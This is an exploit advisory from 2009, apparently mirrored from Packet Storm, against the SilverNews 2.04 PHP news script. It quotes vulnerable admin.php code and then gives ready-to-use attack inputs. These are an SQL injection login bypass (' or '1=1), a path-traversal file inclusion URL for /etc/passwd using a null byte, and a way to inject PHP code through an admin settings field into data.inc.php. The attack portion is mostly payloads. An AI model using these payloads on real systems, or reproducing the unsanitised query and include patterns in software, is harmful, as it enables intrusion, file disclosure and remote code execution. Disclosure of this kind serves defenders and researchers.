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SilverNews 2.04 Bypass / LFI / Code Execution

🗓️ 06 Feb 2009 00:00:00Reported by X0rType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

SilverNews 2.04 auth bypass, LFI, RCE, and exploit detail

Code
`#########################################################################################  
[0x01] Informations:  
  
Name : SilverNews 2.04  
Download :  
http://www.silver-scripts.de/scripts.php?script=SilverNews&l=en  
Vulnerability : Auth Bypass\LFI\RCE  
Author : x0r  
Contact : [email protected]  
Notes : Proud to be Italian  
#########################################################################################  
[0x02] Bug:  
  
Bugged file is /[path]/admin.php  
  
[Code]  
// Get the user information from the database  
$getinfo = $sql->query("SELECT password, username, id FROM  
sn".$sql->prefix."_user WHERE username = '".$_POST['username']."' AND  
password = '".$_POST['password']."'");  
$info = $sql->fetch_array($getinfo);  
...  
  
// If "act" isn't set the user will be sent to the homepage.  
if (!$_GET['act'] AND !$_POST['act'] AND !$_GET['section'])  
{  
$_GET['section'] = 'home';  
}  
  
require "admin/header.php";  
  
if (file_exists('admin/'.$_GET['section'].".php"))  
{  
require 'admin/'.$_GET['section'].'.php'; #LFI  
}  
else  
{  
$admin->error('Datei konnte nicht gefunden werden!');  
}  
  
require "admin/footer.php";  
[/code]  
  
#########################################################################################  
  
  
#########################################################################################  
[0x03] Exploit:  
  
Exploit: username: ' or '1=1  
password: x0r  
  
LFI: admin.php?section=../../../../../../../../../../etc/passwd%00  
  
RCE:  
So we can bypass the admin login and then go to admin/settings.php and put your  
evil code ^^ ex: 'show_cat_prefix' => $_POST['show_cat_prefix'], in the sho_cat_prefix we  
put: x0r'; echo 'lol --> /data.inc.php  
  
########################################################################################  
  
  
`

Data

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06 Feb 2009 00:00Current
7.4High risk
Vulners AI Score7.4
19